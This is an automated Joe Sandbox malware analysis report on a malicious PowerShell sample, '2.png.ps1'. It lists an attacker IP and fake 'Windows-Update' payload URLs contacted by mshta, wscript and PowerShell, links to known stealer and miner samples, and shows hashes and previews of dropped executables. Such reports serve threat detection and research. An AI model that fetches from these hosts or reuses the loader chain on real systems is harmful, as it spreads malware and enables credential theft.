http://176.113.115.178/Windows-Update/indowsINetCookiesX	mshta.exe, 00000006.00000002.1471624974.000001FF1AFD8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1446046858.000001FF1AFD8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows	wscript.exe, wscript.exe, 00000003.00000002.1406708492.00000180CD059000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1404358003.00000180CCE0E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1404641181.00000180CCE11000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1405102980.00000180CD058000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1404685124.00000180CCE17000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1403969928.00000180CCE01000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1404117477.00000180CCE0D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.1406487328.00000180CCE18000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-Update/2	mshta.exe, 00000006.00000003.1446046858.000001FF1B02D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1470724347.000001FF1B035000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1453997972.000001FF1B02D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1471840856.000001FF1B037000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 0000000B.00000002.1556383787.000001993AD65000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000000.00000002.1420389043.000002612CD39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1420389043.000002612CBF6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1398119271.000002611E584000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1895875471.0000018137DA7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1895875471.0000018137C65000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1556383787.000001993AD65000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.178/Windows-Updatekr	wscript.exe, 00000003.00000003.1404714612.00000180CCDE8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1404358003.00000180CCDE8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.1405913402.00000180CCDE8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1404907085.00000180CCDE8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-Update(	mshta.exe, 00000006.00000002.1474352113.0000020721690000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-Update/la	mshta.exe, 00000006.00000003.1449696142.000002071D3AC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1446601614.000002071D39D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.1398119271.000002611CB81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1783626763.0000018127BF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1502524453.000001992ACF1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.178/Windows-Update/$	mshta.exe, 00000006.00000003.1446046858.000001FF1B02D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1470724347.000001FF1B035000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1453997972.000001FF1B02D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1471840856.000001FF1B037000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/FF/1.pngX	powershell.exe, 00000009.00000002.1783626763.0000018128821000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000000.00000002.1420389043.000002612CD39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1420389043.000002612CBF6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1398119271.000002611E584000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1783626763.00000181296AA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1895875471.0000018137DA7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1895875471.0000018137C65000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1556383787.000001993AD65000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.178/Windows-UpdateLMEM	wscript.exe, 00000003.00000003.1404714612.00000180CCDDB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.1405913402.00000180CCDDB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1404358003.00000180CCDDB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1404907085.00000180CCDDB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000B.00000002.1502524453.000001992AF18000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.178/Windows-Update/X	mshta.exe, 00000006.00000003.1452766022.000002071D39D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1474206400.000002071D39D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1446601614.000002071D39D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1454082054.000002071D39D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 0000000B.00000002.1502524453.000001992AF18000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000B.00000002.1502524453.000001992AF18000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000000.00000002.1398119271.000002611D7B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1783626763.0000018128821000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.178/Windows-Update/V	mshta.exe, 00000006.00000003.1446046858.000001FF1B02D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1470724347.000001FF1B035000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1453997972.000001FF1B02D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1471840856.000001FF1B037000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000000B.00000002.1556383787.000001993AD65000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.178/Windows-Update/B	mshta.exe, 00000006.00000003.1446046858.000001FF1B02D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1470724347.000001FF1B035000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1453997972.000001FF1B02D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1471840856.000001FF1B037000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000008.00000002.1830456339.000001E5BAA00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://176.113.115.178/Windows-UpdateWinsta0	mshta.exe, 00000006.00000002.1471530223.000001FF1AF60000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-Update/xLMEMPx	mshta.exe, 00000006.00000003.1452766022.000002071D39D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1474206400.000002071D39D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1446601614.000002071D39D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1454082054.000002071D39D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-Update/...	mshta.exe, 00000006.00000003.1453997972.000001FF1B016000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-Update/C:	mshta.exe, 00000006.00000003.1446046858.000001FF1B016000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1471780062.000001FF1B027000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1454251665.000001FF1B025000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1453997972.000001FF1B016000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 0000000B.00000002.1502524453.000001992AF18000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.protware.com	mshta.exe, 00000006.00000003.1449465659.000001FF1B03E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1470637539.000001FF1B054000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1451486048.000002071D31B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://176.113.115.178/Windows-Update/r	mshta.exe, 00000006.00000003.1446046858.000001FF1B02D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1470724347.000001FF1B035000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1453997972.000001FF1B02D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1471840856.000001FF1B037000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.protware.comm	mshta.exe, 00000006.00000002.1471816023.000001FF1B02D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1446046858.000001FF1B02D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1453997972.000001FF1B02D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-UpdateGIB	mshta.exe, 00000006.00000003.1452725769.000001FF1AF9D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1471600916.000001FF1AF9D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1446357979.000001FF1AF9D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/FF/1.png$TC=$TC.replace(	mshta.exe, 00000006.00000003.1454550626.000002071D246000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1454110960.000002071D243000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1454360139.000002071D245000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1454807348.000002071D249000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1454703300.000002071D247000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod-C:	svchost.exe, 00000008.00000003.1444469543.000001E5BAC33000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.178/Windows-Updateai	wscript.exe, 00000003.00000002.1406736200.00000180CE760000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-UpdateData	mshta.exe, 00000006.00000002.1472055274.000001FF1B1D0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-Update/t	mshta.exe, 00000006.00000002.1471570938.000001FF1AF86000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1470843483.000001FF1AF86000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000000B.00000002.1502524453.000001992AF18000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000008.00000003.1444469543.000001E5BAC00000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.178/Windows-Updatemshta	mshta.exe, 00000006.00000002.1471530223.000001FF1AF60000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-UpdatebjDdjedlfIhhCKHZRVAp.exe	wscript.exe, 00000003.00000003.1404714612.00000180CCDDB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.1405913402.00000180CCDDB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1404358003.00000180CCDDB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1404907085.00000180CCDDB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-Updatej	mshta.exe, 00000006.00000002.1471530223.000001FF1AF60000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-Update/a	mshta.exe, 00000006.00000003.1455508433.000002071D24D000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000000.00000002.1398119271.000002611CB81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1783626763.0000018127BF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1502524453.000001992ACF1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.178	powershell.exe, 00000000.00000002.1398119271.000002611DEEF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1398119271.000002611E1D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1783626763.0000018129221000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1783626763.0000018129604000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-Update/h	mshta.exe, 00000006.00000003.1446046858.000001FF1B02D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1470724347.000001FF1B035000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1453997972.000001FF1B02D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1471840856.000001FF1B037000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-Update;v	mshta.exe, 00000006.00000003.1452725769.000001FF1AF9D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1471600916.000001FF1AF9D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1446357979.000001FF1AF9D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
176.113.115.178	unknown	Russian Federation		49505	SELECTELRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577477
Start date and time:	2024-12-18 14:06:32 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	50
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	15
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2.png.ps1
Detection:	MAL
Classification:	mal100.spyw.expl.evad.winPS1@67/85@0/2
EGA Information:	Successful, ratio: 57.1%
HCA Information:	Successful, ratio: 60% Number of executed functions: 86 Number of non-executed functions: 350
Cookbook Comments:	Found application associated with file extension: .ps1

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 23.35.236.109, 20.190.181.23, 40.126.53.19, 20.190.181.6, 40.126.53.13, 40.126.53.16, 40.126.53.8, 20.231.128.67, 20.190.181.4, 13.107.246.63, 52.149.20.212
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, www.tm.v4.a.prd.aadg.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, login.live.com, e16604.g.akamaiedge.net, azureedge-t-prod.trafficmanager.net, prod.fs.microsoft.com.akadns.net, www.tm.lg.prod.aadmsa.trafficmanager.net
Execution Graph export aborted for target mshta.exe, PID 7960 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 6988 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7612 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8136 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 2.png.ps1

Simulations

Behavior and APIs

Time	Type	Description
08:07:26	API Interceptor	217x Sleep call for process: powershell.exe modified
08:07:34	API Interceptor	1010x Sleep call for process: svchost.exe modified
08:07:34	API Interceptor	1x Sleep call for process: mshta.exe modified
08:08:45	API Interceptor	99819x Sleep call for process: winlogon.exe modified
08:08:46	API Interceptor	60297x Sleep call for process: lsass.exe modified
08:08:46	API Interceptor	1076x Sleep call for process: dialer.exe modified
08:08:49	API Interceptor	74231x Sleep call for process: dwm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
176.113.115.178	file.exe	Get hash	malicious	Unknown	Browse	176.113.115.178/FF/M.png
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	176.113.115.178/M.png
	file.exe	Get hash	malicious	Unknown	Browse	176.113.115.178/FF/M.png

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0035.t-0009.t-msedge.net	ko.ps1.2.ps1	Get hash	malicious	Unknown	Browse	13.107.246.63
	kjshdgacg18.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	13.107.246.63
	steel.exe.2.exe	Get hash	malicious	Socks5Systemz	Browse	13.107.246.63
	random.exe.17.exe	Get hash	malicious	ScreenConnect Tool	Browse	13.107.246.63
	steel.exe.3.exe	Get hash	malicious	Socks5Systemz	Browse	13.107.246.63
	newwork.exe.1.exe	Get hash	malicious	Socks5Systemz	Browse	13.107.246.63
	IW9QNpidAN.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	T2dvU8f2xg.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	IW9QNpidAN.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	cred.dll	Get hash	malicious	Amadey	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SELECTELRU	file.exe	Get hash	malicious	Unknown	Browse	176.113.115.178
	InstallSetup.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	hpEAJnNwCB.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	DG55Gu1yGM.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	he55PbvM2G.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	wN8pQhRNnu.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	AZCFTWko2q.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	176.113.115.178
	rHrG691f7q.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	TN78WX7nJU.exe	Get hash	malicious	LummaC	Browse	176.113.115.19

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Roaming\LB31.exe	file.exe	Get hash	malicious	Unknown	Browse
	YSU1PShcKh.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
C:\ProgramData\Mig\Mig.exe	file.exe	Get hash	malicious	Unknown	Browse
	YSU1PShcKh.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.35999246155449205
Encrypted:	false
SSDEEP:	6:6xvoaaD0JOCEfMuaaD0JOCEfMKQmDQxvoaaD0JOCEfMuaaD0JOCEfMKQmD:VaaD0JcaaD0JwQQXaaD0JcaaD0JwQQ
MD5:	05D40140A9F48E41E7916377A71CB444
SHA1:	927426B8D39B22BA41FCC150E2BF6CA10A3BCFB3
SHA-256:	2D2A456A1CE20B3F1DA1E76CD5A9CFF68D95A1CA55F5362969D7BF28B25A5693
SHA-512:	E71ABFA058B3489DE1DCAB48114261BC7E4AEC9CBCFDAF2F90326D6F19DBC5F3BA57A104E185BB3BD450DF5F9A2FF001BFF20E95461925F2EFE3C8B1B4D68A18
Malicious:	false
Preview:	*.>...........J.....D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................................................J.............................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4984369889815967
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1Ztaa:cJhXC9lHmutpJyiRDeJ/aUKrDgnmM
MD5:	379B6AE615EDDCBF2C5DDF16F6172C76
SHA1:	3B0160CCEA6519375BCAD7066944D9FA5FA86EE6
SHA-256:	B01D6D10A8EF4C2C197E77C7570154543A7123B6D6A3F61D208D9C1E53AF247C
SHA-512:	F857132347F9D99FC35AA6C499868B860B605712C30EAEC7120C8F6FADB6E5DEF0654081B3175D1EA1C1E199E87538B97B95EB125D5D7C6BCC3AE323CFD1AA21
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x9c22e924, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.5835035906602823
Encrypted:	false
SSDEEP:	1536:PSB2ESB2SSjlK/e5m0hnRJjAVtutYkr3g1652UPkLk+ksLZiAcZWzAkUk1kG/w4n:PazagFaC2UizN/w4wdi
MD5:	8E5D677D63A0532B573D96A253F4E31E
SHA1:	7AB00170441FBA97BB639C3F7DF1ED7D18A4C3E3
SHA-256:	2AB8A4C01664E971FF143C3C9490F61041AB594ABA51447BB8FE9F1487974D7C
SHA-512:	DFD07D425733B510827826071B9B1FF778D710EB20F0CA50683C990D286353B34EF470F18EF63AEB2BD0C2CA889CB7AF9FDC90848B27550B82B9A67F5873F6DC
Malicious:	false
Preview:	.".$... ...............X\...;...{......................0.I.....)....\|.."....\|..h.F.....)....\|..0.I.........D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............................................................................................................................................................................................................2...{...................................Yy)....\|...................e..)....\|...........................#......0.I.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07947499008352737
Encrypted:	false
SSDEEP:	3:FlUetYewan3WXlb0J0RtSZ0XlR8kXlallTH//lll/TP1/l:FlNzIZooS2T8kARf/ljFl
MD5:	7B2900573A7EB7E0BCB7BFDE259F92B4
SHA1:	FB64BE70389A1B368BAAD87DAD88D4F5576125B9
SHA-256:	A5474C88ADC7A08465B7F942EEFB365BA59188701E4CF8A835E706598FB0A0B0
SHA-512:	491DCE18036CDAFDF59E0BC764B80BDDF6274591BB0BA93FE5C0FE40F3D872DDFCFB6F7FDD95F99EBEC05579A9F4690BC22FA4799C183A9DC8F8552B32ABDA0A
Malicious:	false
Preview:	1C,w.....................................;...{.."....\|3.)....\|..........)....\|..)....\|...._)....\|...................e..)....\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Mig\Mig.exe

Download File

Process:	C:\Users\user\AppData\Roaming\LB31.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7679488
Entropy (8bit):	7.744308216067832
Encrypted:	false
SSDEEP:	196608:/UUPSHwaRhOgwVPj04wfOAlM69LJDuHF:dKHwgt+Pov7y
MD5:	C9E6AA21979D5FC710F1F2E8226D9DFE
SHA1:	D881F97A1FE03F43BED2A9609EAE65531CF710CF
SHA-256:	A1A8CFCC74F8F96FD09115189DEFE07AC6FC2E85A9FF3B3EC9C6F454AEDE1C1D
SHA-512:	9E90BCB64B0E1F03E05990CDEAD076B4C6E0B050932ECB953DAE50B7E92B823A80FC66D1FD8753591719E89B405757B2BF7518814BC6A19BB745124D1A691627
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: YSU1PShcKh.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d...^n.e.........."..........xT...............@.....................................u...`...................................................U.......S.f... ..............."..............................`"..(................................................... . ..S.......R.................@....rsrc...f.....S.......R.............@....idata ......U.......S.............@... ..8...U.......S.............@...ndryujmp.p!..`...f!...S.............@...tnyudguu............*u.............@....pdata.I............,u.............@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\Windows-Update[1].htm

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	data
Category:	dropped
Size (bytes):	10664
Entropy (8bit):	6.134513776825802
Encrypted:	false
SSDEEP:	192:+YKhyHCOb7CpMLu0MrjudlN/CuinQH934cGuTVMesKYVpTASADZEQljylBA7vlB:+YKvOfC6LuZHufRiQHSJDKAYWAH
MD5:	D1D2728A935CE257444EA29E2F415DDB
SHA1:	F1368BEEACD3A4D7B2028468882349B7F512ECB4
SHA-256:	7D54C72806EC720A53F26128BA22D8F261594FFB06BDEC8C1C0B6C8A33D3DBD9
SHA-512:	58ADDC3CB83D57E1827CF7A895025F8FE634CB8F28E5AFDC90895E0185235975D79B639A68DE74BD0442D7D5290DD4F8399137350B3380E0E7B2E54F90D103D3
Malicious:	false
